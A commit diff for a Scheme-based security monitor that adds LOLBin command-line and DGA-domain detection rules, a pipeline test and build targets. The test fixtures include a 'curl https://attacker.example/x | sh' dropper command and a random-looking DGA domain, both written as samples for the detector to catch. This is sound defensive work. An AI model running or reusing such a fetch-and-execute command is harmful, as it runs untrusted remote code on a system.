Add untyped (jsecmon detect) — kernel-driven detection, closing the pipeline
Jaime Fournier <jaimef@linbsd.org>
629e47bcc6809049f53769c74aa1ce6483e1add4
--- a/Makefile +++ b/Makefile @@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme BUILD ?= build/rust TYPED := $(wildcard typed/*.ss) -.PHONY: rust test ffi-demo kernels-check triage-check analytics-check checks clean +.PHONY: rust test ffi-demo kernels-check triage-check analytics-check detect-check checks clean # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon # (a second --libdirs would replace, not append, the jerboa one). LIBDIRS := "$(JERBOA)/lib:$(CURDIR)" @@ -53,10 +53,17 @@ analytics-check: rust cd $(BUILD) && cargo build --release $(SCHEME) --libdirs $(LIBDIRS) --script examples/analytics_check.ss +# Full pipeline: raw events -> detect (lolbin+dga kernels) -> analytics (host +# risk kernel). Exercises all three scoring kernels through the untyped layer. +detect-check: rust + cd $(BUILD) && cargo build --release + $(SCHEME) --libdirs $(LIBDIRS) --script examples/detect_check.ss + # Everything that runs through the Jerboa side of the bridge, one shot. checks: kernels-check $(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/analytics_check.ss + $(SCHEME) --libdirs $(LIBDIRS) --script examples/detect_check.ss clean: rm -rf $(BUILD) --- a/README.md +++ b/README.md @@ -25,7 +25,8 @@ make ffi-demo # build the cdylib + drive two kernels from a Jerboa script make kernels-check # exercise the (jsecmon kernels) library against the vectors make triage-check # verify the untyped (jsecmon triage) engine vs secmon vectors make analytics-check # verify untyped risk-ranking + incident grouping vs vectors -make checks # all three Jerboa-side checks in one shot +make detect-check # full pipeline: events -> detect -> analytics (all kernels) +make checks # every Jerboa-side check in one shot ``` ### The C ABI bridge @@ -66,6 +67,7 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage). | `lolbin::score` + `severity` | `typed/lolbin.ss` | ✅ full 25-pattern table + severity buckets; vectors pass (JSON-cmdline parse stays in untyped wrapper; diagnostic match list with caller) | | `analytics::compute_host_risks` | `typed/analytics.ss` | ✅ risk-score kernel (clamped weighted sum); vectors pass | | `analytics` grouping + `group_incidents` | `jsecmon/analytics.ss` | ✅ **untyped layer** — per-host accumulation/sort/top-N driving the risk-score kernel, plus incident dedup/collapse; secmon analytics vectors pass (`make analytics-check`) | +| `storage::detect_lolbin_cmdline` + `detect_dga_domain` | `jsecmon/detect.ss` | ✅ **untyped layer** — the kernel-driven detection rules: score every process_start cmdline (lolbin) / dns_query (dga) into anomalies above threshold. `make detect-check` runs the full events→detect→analytics pipeline; all three scoring kernels fire. Per-pattern label lists + label-level DGA dedup pending (need kernels that return the match breakdown). | | `triage` classifiers | `typed/triage.ss` | ✅ pure predicates (transient-unit?, phantom-rootkit-race?); vectors pass | | `triage` engine (rules + dispatch) | `jsecmon/triage.ss` | ✅ **untyped layer** — 6 false-positive rules + first-match engine, dispatch in ordinary Jerboa delegating byte/string classification to the typed kernels; 11 secmon triage vectors pass (`make triage-check`). Remaining rules are mechanical follow-on. | | `sigma` | — | ⏳ YAML import — I/O, untyped layer | new file mode 100644 --- /dev/null +++ b/examples/detect_check.ss @@ -0,0 +1,78 @@ +;;; End-to-end pipeline check: raw events -> detect -> analytics. +;;; +;;; Proves the whole untyped layer composing over the typed kernels: +;;; (jsecmon detect) scores events into anomalies (lolbin + dga kernels) +;;; (jsecmon analytics) ranks the host from those anomalies (host-risk kernel) +;;; All three scoring kernels fire through the C-ABI bridge in one flow. +;;; +;;; Run from the repo root with the dylib built and repo on libdirs: +;;; scheme --libdirs $JERBOA/lib --libdirs . --script examples/detect_check.ss + +(import (jerboa prelude) + (jsecmon detect) + (jsecmon analytics)) + +(def fails 0) +(def (check label got want) + (let ((ok (equal? got want))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") label " => " got + (if ok "" (str " (want " want ")"))))) +(def (check-pred label got pred) + (let ((ok (pred got))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") label " => " got))) + +(def (mk-proc host pname cmdline exe ts) + (let ((data (make-hash-table)) (ev (make-hash-table))) + (hash-put! data "cmdline" cmdline) (hash-put! data "exe" exe) + (hash-put! ev "event_type" "process_start") (hash-put! ev "host" host) + (hash-put! ev "process_name" pname) (hash-put! ev "timestamp_ms" ts) + (hash-put! ev "data" data) ev)) +(def (mk-dns host pname qname ts) + (let ((data (make-hash-table)) (ev (make-hash-table))) + (hash-put! data "query_name" qname) + (hash-put! ev "event_type" "dns_query") (hash-put! ev "host" host) + (hash-put! ev "process_name" pname) (hash-put! ev "timestamp_ms" ts) + (hash-put! ev "data" data) ev)) + +(def events + (list + ;; an attacker dropper: curl|sh — fires suspicious_cmdline + (mk-proc "h1" "bash" (list "bash" "-c" "curl https://attacker.example/x | sh") + "/usr/bin/bash" 1000) + ;; benign curl — no fire + (mk-proc "h1" "curl" (list "curl" "https://example.com" "-o" "page.html") + "/usr/bin/curl" 1001) + ;; a DGA C2 lookup — fires dga_domain + (mk-dns "h1" "evil" "kxq8z23nplkdq.example.com" 1002) + ;; benign DNS — no fire + (mk-dns "h1" "chrome" "google.com" 1003))) + +(displayln "detection (events -> anomalies via lolbin/dga kernels):") +(def dets (run-detections events)) +(check "anomaly count" (length dets) 2) + +(def lol (find (lambda (a) (string=? (hash-get a "rule") "suspicious_cmdline")) dets)) +(check-pred "suspicious_cmdline fired" lol (lambda (x) (not (not x)))) +(check " its severity" (hash-get lol "severity") "high") +(check-pred " its score >= 70" + (hash-get (hash-get lol "details") "score") (lambda (s) (>= s 70))) + +(def dga (find (lambda (a) (string=? (hash-get a "rule") "dga_domain")) dets)) +(check-pred "dga_domain fired" dga (lambda (x) (not (not x)))) +(check " its severity" (hash-get dga "severity") "high") +(check " its query" (hash-get (hash-get dga "details") "query_name") "kxq8z23nplkdq.example.com") + +(displayln "pipeline (anomalies -> host risk via host-risk kernel):") +(def risks (compute-host-risks events dets 10)) +(check "ranked host" (host-risk-host (car risks)) "h1") +;; 2 distinct rules*6 + suspicious_cmdline*8 + dga*10 = 30 +(check "host risk score" (host-risk-score (car risks)) 30) +(check " suspicious-cmdline signal" (host-risk-suspicious-cmdline (car risks)) 1) +(check " dga signal" (host-risk-dga (car risks)) 1) + +(newline) +(if (= fails 0) + (displayln "OK: events -> detect -> analytics composes; all kernels fire.") + (begin (displayln fails " FAILURES") (exit 1))) new file mode 100644 --- /dev/null +++ b/jsecmon/detect.ss @@ -0,0 +1,115 @@ +#!chezscheme +;;; jsecmon detect — the kernel-driven detection rules, untyped orchestration. +;;; +;;; This is the half of secmon that turns raw events into anomalies. Two rules +;;; here are the direct consumers of the scoring kernels: +;;; detect-lolbin-cmdline — score every process_start cmdline; >=50 fires a +;;; `suspicious_cmdline` anomaly (lolbin-score-cmdline / lolbin-severity). +;;; detect-dga-domain — score every dns_query name; >=60 fires a +;;; `dga_domain` anomaly (dga-score-domain), deduped per suspect domain. +;;; +;;; The SQL/JSON shaping (cmdline is stored as a JSON array; flatten to a string +;;; before scoring, exactly as secmon's score_json_cmdline does) is ordinary +;;; Jerboa; the scoring itself is the vetted typed kernels. Anomalies are row +;;; hash tables in the same shape (jsecmon analytics) consumes, so the whole +;;; events -> detect -> rank/triage pipeline composes. Verified end to end in +;;; examples/detect_check.ss. + +(library (jsecmon detect) + (export run-detections detect-lolbin-cmdline detect-dga-domain + lolbin-threshold dga-threshold) + (import (except (chezscheme) + make-hash-table hash-table? + sort sort! + printf fprintf + path-extension path-absolute? + with-input-from-string with-output-to-string + iota 1+ 1- + partition + make-date make-time) + (except (jerboa prelude) meta atom?) + (only (jsecmon kernels) + lolbin-score-cmdline lolbin-severity dga-score-domain)) + + (def lolbin-threshold 50) + (def dga-threshold 60) + + ;; ── event row access ──────────────────────────────────────────────────────── + (def (a-str h k) (let ((v (hash-get h k))) (if (string? v) v ""))) + (def (a-num h k d) (let ((v (hash-get h k))) (if (number? v) v d))) + (def (ev-data ev) (or (hash-get ev "data") (make-hash-table))) + (def (ev-pname ev) (let ((v (hash-get ev "process_name"))) (if (string? v) v #f))) + + ;; secmon's score_json_cmdline: a JSON-array cmdline joins on spaces; a string + ;; cmdline is used as-is. After JSON parsing these arrive as a Jerboa list or + ;; a string respectively. + (def (cmdline->string v) + (cond ((list? v) (string-join (map (lambda (x) (if (string? x) x (str x))) v) " ")) + ((string? v) v) + (else ""))) + + ;; ── anomaly construction (row hash, as the storage layer emits) ───────────── + (def (details-hash . kvs) + (let ((h (make-hash-table))) + (let loop ((xs kvs)) + (if (or (null? xs) (null? (cdr xs))) + h + (begin (hash-put! h (car xs) (cadr xs)) (loop (cddr xs))))))) + (def (make-anomaly rule host sev ts details) + (let ((h (make-hash-table))) + (hash-put! h "rule" rule) (hash-put! h "host" host) + (hash-put! h "severity" sev) (hash-put! h "timestamp_ms" ts) + (hash-put! h "details" details) (hash-put! h "attack" '()) + h)) + + ;; ── rule: suspicious LOLBin command line ──────────────────────────────────── + (def (detect-lolbin-cmdline events) + (filter-map + (lambda (ev) + (and (string=? (a-str ev "event_type") "process_start") + (let* ((data (ev-data ev)) + (cmd (cmdline->string (hash-get data "cmdline"))) + (exe (a-str data "exe"))) + (and (not (and (string=? cmd "") (string=? exe ""))) + (let ((score (lolbin-score-cmdline cmd exe))) + (and (>= score lolbin-threshold) + (make-anomaly "suspicious_cmdline" (a-str ev "host") + (lolbin-severity score) (a-num ev "timestamp_ms" 0) + (details-hash "process_name" (or (ev-pname ev) "?") + "pid" (hash-get ev "pid") + "exe" exe "cmdline" cmd + "score" score)))))))) + events)) + + ;; ── rule: DGA / high-entropy DNS query ────────────────────────────────────── + ;; One alert per suspect domain. secmon dedups on (host, process_name, winning + ;; label); we key on the full query_name (the kernel returns the max score, not + ;; which label won) — equivalent for distinct domains, finer-grained otherwise. + (def (detect-dga-domain events) + (let ((seen (make-hash-table)) + (out '())) + (for-each + (lambda (ev) + (when (string=? (a-str ev "event_type") "dns_query") + (let ((qname (a-str (ev-data ev) "query_name"))) + (when (and (not (string=? qname "")) + (>= (dga-score-domain qname) dga-threshold)) + (let* ((host (a-str ev "host")) + (pname (or (ev-pname ev) "")) + (k (string-append host "\x1f;" pname "\x1f;" qname))) + (unless (hash-get seen k) + (let ((a (make-anomaly "dga_domain" host "high" + (a-num ev "timestamp_ms" 0) + (details-hash "process_name" (if (string=? pname "") "?" pname) + "pid" (hash-get ev "pid") + "query_name" qname + "score" (dga-score-domain qname))))) + (hash-put! seen k a) + (set! out (cons a out))))))))) + events) + (reverse out))) + + ;; Run the kernel-driven detection rules over a batch of events. + (def (run-detections events) + (append (detect-lolbin-cmdline events) + (detect-dga-domain events))))